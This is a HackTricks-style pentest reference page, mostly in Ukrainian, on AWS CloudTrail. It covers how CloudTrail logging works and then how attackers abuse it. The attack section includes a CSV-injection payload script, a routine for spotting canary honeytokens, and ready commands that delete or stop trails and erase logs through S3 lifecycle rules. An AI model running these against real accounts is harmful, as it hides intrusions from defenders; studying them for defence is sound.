AWS - CloudTrail Enum

Reading time: 12 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

CloudTrail

AWS CloudTrail реєструє та моніторить активність у вашому середовищі AWS. Він захоплює детальні журнали подій, включаючи, хто що зробив, коли і звідки, для всіх взаємодій з ресурсами AWS. Це забезпечує слід змін і дій, допомагаючи в аналізі безпеки, аудиті відповідності та відстеженні змін ресурсів. CloudTrail є важливим для розуміння поведінки користувачів і ресурсів, покращення безпеки та забезпечення відповідності регуляторним вимогам.

Кожна зафіксована подія містить:

  • Назву викликаного API: eventName
  • Викликану службу: eventSource
  • Час: eventTime
  • IP-адресу: SourceIPAddress
  • Метод агента: userAgent. Приклади:
  • Signing.amazonaws.com - З AWS Management Console
  • console.amazonaws.com - Кореневий користувач облікового запису
  • lambda.amazonaws.com - AWS Lambda
  • Параметри запиту: requestParameters
  • Елементи відповіді: responseElements

Події записуються в новий файл журналу приблизно кожні 5 хвилин у файлі JSON, вони зберігаються CloudTrail, а в кінцевому підсумку файли журналів доставляються в S3 приблизно через 15 хвилин.
Журнали CloudTrail можуть бути агреговані між обліковими записами та регіонами.
CloudTrail дозволяє використовувати цілісність файлів журналів, щоб мати можливість перевірити, що ваші файли журналів залишилися незмінними з моменту їх доставки вам. Він створює SHA-256 хеш журналів у файлі дайджесту. SHA-256 хеш нових журналів створюється щогодини.
При створенні Trail селектори подій дозволять вам вказати, які події слід реєструвати: управлінські, дані або події аналітики.

Журнали зберігаються в кошику S3. За замовчуванням використовується шифрування на стороні сервера (SSE-S3), тому AWS розшифрує вміст для людей, які мають до нього доступ, але для додаткової безпеки ви можете використовувати SSE з KMS та вашими власними ключами.

Журнали зберігаються в кошику S3 з таким форматом імені:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD
  • Де BucketName: aws-cloudtrail-logs-<accountid>-<random>
  • Приклад: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

У кожній папці кожен журнал матиме ім'я, що відповідає цьому формату: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Конвенція іменування файлів журналів

Більше того, файли дайджесту (для перевірки цілісності файлів) будуть у тому ж кошику в:

Агрегація журналів з кількох облікових записів

  • Створіть Trail в обліковому записі AWS, куди ви хочете, щоб файли журналів доставлялися
  • Застосуйте дозволи до цільового кошика S3, дозволяючи доступ між обліковими записами для CloudTrail і дозволяючи кожному обліковому запису AWS, який потребує доступу
  • Створіть новий Trail в інших облікових записах AWS і виберіть використання створеного кошика на етапі 1

Однак, навіть якщо ви можете зберігати всі журнали в одному кошику S3, ви не можете агрегувати журнали CloudTrail з кількох облікових записів у журнали CloudWatch, що належать одному обліковому запису AWS.

caution

Пам'ятайте, що обліковий запис може мати різні Trails з CloudTrail увімкненими, зберігаючи однакові (або різні) журнали в різних кошиках.

CloudTrail з усіх облікових записів організації в 1

При створенні CloudTrail можливо вказати активувати CloudTrail для всіх облікових записів в організації та отримати журнали в лише 1 кошик:

Таким чином, ви можете легко налаштувати CloudTrail у всіх регіонах усіх облікових записів і централізувати журнали в 1 обліковому записі (який ви повинні захистити).

Перевірка файлів журналів

Ви можете перевірити, що журнали не були змінені, запустивши

javascript
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Логи до CloudWatch

CloudTrail може автоматично надсилати логи до CloudWatch, щоб ви могли налаштувати сповіщення, які попереджають вас про підозрілі дії.
Зверніть увагу, що для того, щоб CloudTrail міг надсилати логи до CloudWatch, потрібно створити роль, яка дозволяє цю дію. Якщо можливо, рекомендується використовувати роль за замовчуванням AWS для виконання цих дій. Ця роль дозволить CloudTrail:

  • CreateLogStream: Це дозволяє створювати потоки логів CloudWatch Logs
  • PutLogEvents: Доставляти логи CloudTrail до потоку логів CloudWatch Logs

Історія подій

Історія подій CloudTrail дозволяє вам переглядати в таблиці логи, які були зафіксовані:

Інсайти

CloudTrail Insights автоматично аналізує події управління записами з трас CloudTrail і сповіщає вас про незвичайну активність. Наприклад, якщо є збільшення подій TerminateInstance, яке відрізняється від встановлених базових значень, ви побачите це як подію Insight. Ці події роблять знаходження та реагування на незвичайну API активність легшими ніж будь-коли.

Інсайти зберігаються в тому ж бакеті, що й логи CloudTrail: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Безпека

Назва контролюДеталі реалізації
Цілісність файлів логів CloudTrail
  • Перевірити, чи логи були підроблені (змінені або видалені)
  • Використовує файли дайджесту (створює хеш для кожного файлу)

    • SHA-256 хешування
    • SHA-256 з RSA для цифрового підпису
    • приватний ключ належить Amazon
  • Створення файлу дайджесту займає 1 годину (здійснюється щогодини)
Зупинити несанкціонований доступ
  • Використовуйте політики IAM та політики бакетів S3

    • команда безпеки —> адміністраторський доступ
    • аудитори —> доступ лише для читання
  • Використовуйте SSE-S3/SSE-KMS для шифрування логів
Запобігти видаленню файлів логів
  • Обмежити доступ до видалення за допомогою IAM та політик бакетів
  • Налаштувати S3 MFA видалення
  • Перевірити за допомогою валідації файлів логів

Консультант доступу

AWS Access Advisor спирається на останні 400 днів логів AWS CloudTrail для збору своїх інсайтів. CloudTrail фіксує історію викликів API AWS та пов'язаних подій, що відбулися в обліковому записі AWS. Консультант доступу використовує ці дані, щоб показати, коли сервіси востаннє використовувалися. Аналізуючи логи CloudTrail, Консультант доступу може визначити, які сервіси AWS використовував користувач або роль IAM і коли цей доступ відбувався. Це допомагає адміністраторам AWS приймати обґрунтовані рішення щодо удосконалення дозволів, оскільки вони можуть виявити сервіси, які не використовувалися протягом тривалого часу, і потенційно зменшити надто широкі дозволи на основі реальних патернів використання.

tip

Тому Консультант доступу інформує про необхідні дозволи, які надаються користувачам, щоб адміністратор міг їх видалити

Дії

Перерахування

bash
# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

Можливо виконати CVS-ін'єкцію в CloudTrail, яка виконає довільний код, якщо журнали експортуються у форматі CSV і відкриваються в Excel.
Наступний код згенерує запис журналу з поганою назвою Trail, що містить корисне навантаження:

python
import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Для отримання додаткової інформації про CSV-ін'єкції перегляньте сторінку:

Formula/CSV/Doc/LaTeX/GhostScript Injection - HackTricks

Для отримання додаткової інформації про цю конкретну техніку перегляньте https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Обхід виявлення

HoneyTokens обхід

Honeytokens створюються для виявлення ексфільтрації чутливої інформації. У випадку з AWS, це ключі AWS, використання яких контролюється, якщо щось викликає дію з цим ключем, то хтось, напевно, вкрали цей ключ.

Однак Honeytokens, такі як ті, що створені Canarytokens, SpaceCrab, SpaceSiren, або використовують впізнаване ім'я облікового запису, або використовують один і той же ідентифікатор облікового запису AWS для всіх своїх клієнтів. Тому, якщо ви можете отримати ім'я облікового запису та/або ідентифікатор облікового запису без того, щоб Cloudtrail створив будь-який журнал, ви могли б дізнатися, чи є ключ honeytoken чи ні.

Pacu має деякі правила для виявлення, чи належить ключ Canarytokens, SpaceCrab, SpaceSiren:

  • Якщо canarytokens.org з'являється в назві ролі або ідентифікатор облікового запису 534261010715 з'являється в повідомленні про помилку.
  • Тестуючи їх нещодавно, вони використовують обліковий запис 717712589309 і все ще мають рядок canarytokens.com в назві.
  • Якщо SpaceCrab з'являється в назві ролі в повідомленні про помилку.
  • SpaceSiren використовує uuids для генерації імен користувачів: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}
  • Якщо ім'я виглядає як випадково згенероване, є висока ймовірність, що це HoneyToken.

Отримати ідентифікатор облікового запису з ідентифікатора ключа

Ви можете отримати ідентифікатор облікового запису з закодованого всередині ключа доступу, як пояснено тут і перевірити ідентифікатор облікового запису зі своїм списком Honeytokens AWS облікових записів:

python
import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Перевірте більше інформації в оригінальному дослідженні.

Не генерувати лог

Найефективніша техніка для цього насправді є простою. Просто використайте ключ, який ви щойно знайшли, щоб отримати доступ до якоїсь служби у вашому власному обліковому записі атакуючого. Це змусить CloudTrail згенерувати лог у ВАШОМУ ВЛАСНОМУ обліковому записі AWS, а не у жертви.

Справа в тому, що вихід покаже вам помилку, що вказує на ідентифікатор облікового запису та ім'я облікового запису, тому ви зможете побачити, чи це Honeytoken.

Служби AWS без логів

У минулому існували деякі служби AWS, які не надсилають логи до CloudTrail (знайдіть список тут). Деякі з цих служб відповідатимуть з помилкою, що містить ARN ключової ролі, якщо хтось несанкціонований (ключ Honeytoken) намагатиметься отримати до них доступ.

Таким чином, зловмисник може отримати ARN ключа, не викликавши жодного логу. У ARN зловмисник може побачити ідентифікатор облікового запису AWS та ім'я, легко дізнатися ідентифікатор облікових записів компаній HoneyToken, тому таким чином зловмисник може визначити, чи є токен HoneyToken.

caution

Зверніть увагу, що всі публічні API, виявлені як такі, що не створюють логи CloudTrail, тепер виправлені, тому, можливо, вам потрібно знайти свої власні...

Для отримання додаткової інформації перегляньте оригінальне дослідження.

Доступ до третьої інфраструктури

Деякі служби AWS створюють певну інфраструктуру, таку як Бази даних або кластери Kubernetes (EKS). Користувач, який безпосередньо спілкується з цими службами (наприклад, API Kubernetes), не використовуватиме API AWS, тому CloudTrail не зможе побачити цю комунікацію.

Отже, користувач з доступом до EKS, який виявив URL API EKS, може згенерувати токен локально і спілкуватися з API-сервісом без виявлення Cloudtrail.

Більше інформації в:

AWS - EKS Post Exploitation

Модифікація конфігурації CloudTrail

Видалити сліди

bash
aws cloudtrail delete-trail --name [trail-name]

Зупинити сліди

bash
aws cloudtrail stop-logging --name [trail-name]

Вимкнути багаторегіональне ведення журналів

bash
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Вимкнення журналювання за допомогою селекторів подій

bash
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

У першому прикладі одиничний селектор події надається у вигляді масиву JSON з одним об'єктом. "ReadWriteType": "ReadOnly" вказує на те, що селектор подій повинен захоплювати лише події тільки для читання (тому CloudTrail insights не буде перевіряти події запису, наприклад).

Ви можете налаштувати селектор подій відповідно до ваших конкретних вимог.

Видалення журналів через політику життєвого циклу S3

bash
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Модифікація конфігурації бакету

  • Видалити S3 бакет
  • Змінити політику бакету, щоб заборонити будь-які записи з сервісу CloudTrail
  • Додати політику життєвого циклу до S3 бакету для видалення об'єктів
  • Вимкнути ключ kms, що використовується для шифрування журналів CloudTrail

Ransomware Cloudtrail

Ransomware S3

Ви можете згенерувати асиметричний ключ і змусити CloudTrail зашифрувати дані цим ключем і видалити приватний ключ, щоб вміст CloudTrail не можна було відновити.
Це, по суті, S3-KMS ransomware, пояснене в:

AWS - S3 Post Exploitation

KMS ransomware

Це найпростіший спосіб виконати попередню атаку з іншими вимогами до дозволів:

AWS - KMS Post Exploitation

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks